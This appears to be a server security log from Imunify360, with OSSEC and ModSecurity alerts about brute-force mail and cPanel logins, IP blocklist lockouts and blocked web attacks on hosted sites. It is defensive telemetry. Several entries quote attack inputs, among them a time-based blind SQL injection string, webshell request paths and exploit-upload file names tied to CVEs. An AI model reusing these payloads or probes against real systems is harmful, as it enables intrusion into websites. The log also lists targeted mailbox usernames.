plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 23 03:01:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 23 03:02:00 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.122.114.193
country_id: 798549
description:
2026-07-23 03:04:31 dovecot_login authenticator failed for H=(freshtools.fi) [85.122.114.193]:43554: 535 Incorrect authentication data (set_id=david.white@stcinemas.co)


plugin: modsec
rule: 77469916
abuser: 165.22.3.193
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jceajo1ebsk.xml.php||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 23 03:08:16 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.129.42
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://hvacemergencyservice2.info\">homepage</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-23 03:09:58 +0530] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 205.185.113.241
country_id: 6252001
domain: yukticlick.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.35||T:APACHE||RA:205.185.113.241||TA:205.185.113.241||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 136.34.252.154
country_id: 6252001
description:
Jul 23 03:12:06 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 136.34.252.154 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.34.252.154
country_id: 6252001
description:
2026-07-23 03:12:08 dovecot_login authenticator failed for H=([68.71.249.154]) [136.34.252.154]:62222: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.84.54
country_id: 1269750
description:
2026-07-23 03:12:36 dovecot_login authenticator failed for H=(187-51-198-202.customer.tdatabrasil.net.br) [27.123.84.54]:42696: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77350979
abuser: 2a02:ff0:1803:bc2e:e1cc:39d5:59ea:5f39
country_id: 298795
domain: futuracare.com.au
description:
IM360 WAF: Joomla Page Builder CK unauthenticated file upload - browse.ajaxAddPicture (CVE-2026-56290 / WPT-2603)||MVN:REQUEST_FILENAME||MV:/index.php||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 165.22.3.193
country_id: 6252001
domain: 103.185.74.189
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jceul73k4m6.xml.php||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.123.84.54
country_id: 1269750
description:
Jul 23 03:12:34 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.123.84.54 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.247.180.33
country_id: 3625428
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/?page_id=1383 HTTP/1.1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 23 03:21:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 03:23:05 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 23 03:24:01 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.181
country_id: 1269750
description:
Jul 23 03:25:49 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.181 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.181
country_id: 1269750
description:
2026-07-23 03:25:51 dovecot_login authenticator failed for H=(189-108-224-67.customer.tdatabrasil.net.br) [122.187.230.181]:60073: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.48.46.95
country_id: 3017382
description:
2026-07-23 03:26:57 dovecot_login authenticator failed for H=([142.54.236.102]) [5.48.46.95]:56410: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.204.88
country_id: 99237
description:
Jul 23 03:26:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.204.88 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.204.88
country_id: 99237
description:
2026-07-23 03:26:14 dovecot_login authenticator failed for H=([4.35.66.245]) [65.20.204.88]:37525: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.48.46.95
country_id: 3017382
description:
Jul 23 03:26:55 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.48.46.95 has been locked due to Imunify RBL


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 194.114.136.4
country_id: 1861060
domain: www.globalgroupoman.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icosuns/fonts/index.PHP||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.0.41.134
country_id: 226074
description:
2026-07-23 03:37:02 dovecot_login authenticator failed for H=([185.138.167.146]) [196.0.41.134]:40947: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.41.134
country_id: 226074
description:
Jul 23 03:37:00 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.41.134 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 144.24.209.174
country_id: 102358
description:
Jul 23 03:37:24 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 144.24.209.174 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.24.209.174
country_id: 102358
description:
2026-07-23 03:37:26 dovecot_login authenticator failed for H=([165.16.65.185]) [144.24.209.174]:61622: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 196.51.184.40
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:03-41.196.51.184.40||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 196.51.187.239
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:03-41.196.51.187.239||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 196.51.187.194
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:03-41.196.51.187.194||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 196.51.184.107
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:03-41.196.51.184.107||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 23 03:42:16 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.150.106
country_id: 1269750
description:
2026-07-23 03:46:07 dovecot_login authenticator failed for H=([41.89.128.60]) [182.95.150.106]:46774: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.150.106
country_id: 1269750
description:
Jul 23 03:46:05 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.150.106 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 23 03:46:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 03:46:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.137.45.234
country_id: 6251999
description:
Jul 23 03:46:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.137.45.234 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.137.45.234
country_id: 6251999
description:
2026-07-23 03:46:20 dovecot_login authenticator failed for H=dhcp-4-bc-9f-5c-89-59.cpe.i-zoom.net ([121.8.215.69]) [24.137.45.234]:54078: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.40.122.250
country_id: 2629691
description:
Jul 23 03:48:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.40.122.250 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.40.122.250
country_id: 2629691
description:
2026-07-23 03:48:32 dovecot_login authenticator failed for H=nova-185-040-122-250.cpe.novanet.is ([192.111.137.33]) [185.40.122.250]:48579: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.70.80.162
country_id: 6252001
description:
[2026-07-23 03:48:47 +0530] info [whostmgrd] 216.70.80.162 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.209.150.242
country_id: 2077456
description:
2026-07-23 03:48:51 dovecot_login authenticator failed for H=125-209-150-242.tpgi.com.au ([70.166.167.59]) [125.209.150.242]:49109: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.209.150.242
country_id: 2077456
description:
Jul 23 03:48:49 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.209.150.242 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 82.29.214.132
country_id: 2963597
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://www.outlookindia.com/xhub/e-gaming/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2-ufabet\">homepage</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 103.87.68.54
country_id: 1643084
domain: www.globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:cve-2026-48907-1416.xml.php||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 169.58.30.27
country_id: 3017382
domain: interceptorglobal.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/administrator/components/com_jdownloads/assets/upload/upload-handler.php||SC:/home/interceptorgloba/public_html/administrator/components/com_jdownloads||


plugin: modsec
rule: 77137283
name: IM360 WAF: WordPress wp2shell REST batch endpoint before 7.0.2 or 6.9.5 (CVE-2026-63030)
abuser: 216.126.227.88
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: WordPress wp2shell REST batch endpoint before 7.0.2 or 6.9.5 (CVE-2026-63030)||MVN:ARGS||MV:12||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 23 04:02:44 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 110.25.112.143
country_id: 1668284
description:
Jul 23 04:04:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 110.25.112.143 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.112.143
country_id: 1668284
description:
2026-07-23 04:04:06 dovecot_login authenticator failed for H=110-25-112-143.adsl.fetnet.net (64-49-97-15.protekweb.com) [110.25.112.143]:48809: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 51.68.226.171
country_id: 3017382
description:
Jul 23 04:04:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 51.68.226.171 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.68.226.171
country_id: 3017382
description:
2026-07-23 04:04:17 dovecot_login authenticator failed for H=vps-b674cd8d.vps.ovh.net (187-50-226-182.customer.tdatabrasil.net.br) [51.68.226.171]:48720: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.102.158.36
country_id: 294640
description:
Jul 23 04:06:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.102.158.36 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.102.158.36
country_id: 294640
description:
2026-07-23 04:06:35 dovecot_login authenticator failed for H=([190.67.106.221]) [82.102.158.36]:33819: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.155.228.189
country_id: 2661886
description:
Jul 23 04:06:44 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.155.228.189 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.155.228.189
country_id: 2661886
description:
2026-07-23 04:06:46 dovecot_login authenticator failed for H=h95-155-228-189.cust.bredband2.com (nsg-corporate-13.147.187.122.airtel.in) [95.155.228.189]:34464: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 23 04:08:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.192.3.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://24hourhvacrepair3.info\">web site</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.201.76.203
country_id: 1269750
description:
2026-07-23 04:08:00 dovecot_login authenticator failed for H=([196.191.212.236]) [106.201.76.203]:31969: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.201.76.203
country_id: 1269750
description:
Jul 23 04:07:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.201.76.203 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.15.82.135
country_id: 798544
description:
2026-07-23 04:08:11 dovecot_login authenticator failed for H=([111.26.62.41]) [185.15.82.135]:49681: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.116.117.203
country_id: 2921044
description:
2026-07-23 04:09:06 dovecot_login authenticator failed for H=([65.20.138.46]) [51.116.117.203]:23326: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 51.116.117.203
country_id: 2921044
description:
Jul 23 04:09:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 51.116.117.203 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.199.125.189
country_id: 6252001
description:
Jul 23 04:09:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.199.125.189 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.199.125.189
country_id: 6252001
description:
2026-07-23 04:09:35 dovecot_login authenticator failed for H=([24.249.199.9]) [47.199.125.189]:59395: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 04:10:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 23 04:10:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 151.115.164.60
country_id: 3175395
domain: elegantautomotives.com
description:
IM360 WAF: Bad file extension||RSV:8.35||T:APACHE||MVN:REQUEST_FILENAME||MV:/language/en-GB/en-GB.astroid.ini||User:elegantautomotiv||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 38.47.191.134
country_id: 1880251
domain: gsmex.global
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/administrator/components/com_jdownloads/assets/upload/upload-handler.php||SC:/home/gsmex/public_html/administrator/components/com_jdownloads||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 205.250.25.62
country_id: 6251999
description:
Jul 23 04:17:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 205.250.25.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 205.250.25.62
country_id: 6251999
description:
2026-07-23 04:17:37 dovecot_login authenticator failed for H=([70.166.167.60]) [205.250.25.62]:59514: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.188.46.114
country_id: 3996063
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/tx-nr696-7-2-channel-network-a-v-receiver?Itemid=101&catid=18 HTTP/1.1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.192.249.220
country_id: 1168579
description:
Jul 23 04:17:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.192.249.220 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.192.249.220
country_id: 1168579
description:
2026-07-23 04:17:49 dovecot_plain authenticator failed for H=(localhost) [154.192.249.220]:20391: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.223.27.202
country_id: 2077456
description:
Jul 23 04:18:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.223.27.202 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.223.27.202
country_id: 2077456
description:
2026-07-23 04:18:16 dovecot_login authenticator failed for H=194-223-27-202.tpgi.com.au (mybackup.telecel.co.zw) [194.223.27.202]:41141: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.233.110
country_id: 99237
description:
Jul 23 04:22:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.233.110 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.233.110
country_id: 99237
description:
2026-07-23 04:22:09 dovecot_login authenticator failed for H=([36.92.174.85]) [65.20.233.110]:58479: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.226.138
country_id: 1269750
description:
Jul 23 04:22:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.226.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.226.138
country_id: 1269750
description:
2026-07-23 04:22:10 dovecot_login authenticator failed for H=([65.20.138.46]) [182.95.226.138]:43038: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.62.74.41
country_id: 1527747
description:
Jul 23 04:22:25 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.62.74.41 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.62.74.41
country_id: 1527747
description:
2026-07-23 04:22:27 dovecot_login authenticator failed for H=([103.106.193.17]) [92.62.74.41]:34165: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 23 04:23:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.206.28.215
country_id: 1269750
description:
Jul 23 04:25:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.206.28.215 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.28.215
country_id: 1269750
description:
2026-07-23 04:25:10 dovecot_login authenticator failed for H=([196.188.187.205]) [49.206.28.215]:20682: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 150.228.189.65
country_id: 1694008
description:
2026-07-23 04:25:28 dovecot_login authenticator failed for H=([60.175.91.53]) [150.228.189.65]:50482: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 180.71.9.31
country_id: 1835841
description:
Jul 23 04:28:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 180.71.9.31 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.71.9.31
country_id: 1835841
description:
2026-07-23 04:28:53 dovecot_login authenticator failed for H=([180.94.75.42]) [180.71.9.31]:43658: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.59.80
country_id: 1835841
description:
2026-07-23 04:29:05 dovecot_login authenticator failed for H=(ip-199-102-107-147.hosts.zerolag.com) [119.192.59.80]:39918: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.192.59.80
country_id: 1835841
description:
Jul 23 04:29:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.192.59.80 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 23 04:31:10 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 04:33:46 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77214451
name: IM360 WAF: Time-based blind SQL injection in body/cookie
abuser: 103.65.236.209
country_id: 1643084
domain: ddgalaxy.in
description:
IM360 WAF: Time-based blind SQL injection in body/cookie||MVN:ARGS:requests.requests.body.requests.requests.path||MV:/wp/v2/users?author_exclude=0) OR (SELECT 1 FROM (SELECT SLEEP(0))x)-- -||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 23 04:43:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.246.40.63
country_id: 1819730
description:
Jul 23 04:45:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.246.40.63 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.40.63
country_id: 1819730
description:
2026-07-23 04:45:05 dovecot_login authenticator failed for H=063.40.246.220.static.netvigator.com ([31.173.2.172]) [220.246.40.63]:35470: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 157.173.121.237
country_id: 3017382
domain: travelinbh.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/images/jce_qhr3q6ie.php||SC:/home/travelinbh/public_html/images/jce_qhr3q6ie.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.97.17.208
country_id: 1835841
description:
Jul 23 04:49:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.97.17.208 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.97.17.208
country_id: 1835841
description:
2026-07-23 04:49:28 dovecot_login authenticator failed for H=(static.bb.chd.117.247.47.233.bsnl.in) [61.97.17.208]:35357: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.185.235.110
country_id: 1269750
description:
Jul 23 04:49:44 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.185.235.110 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
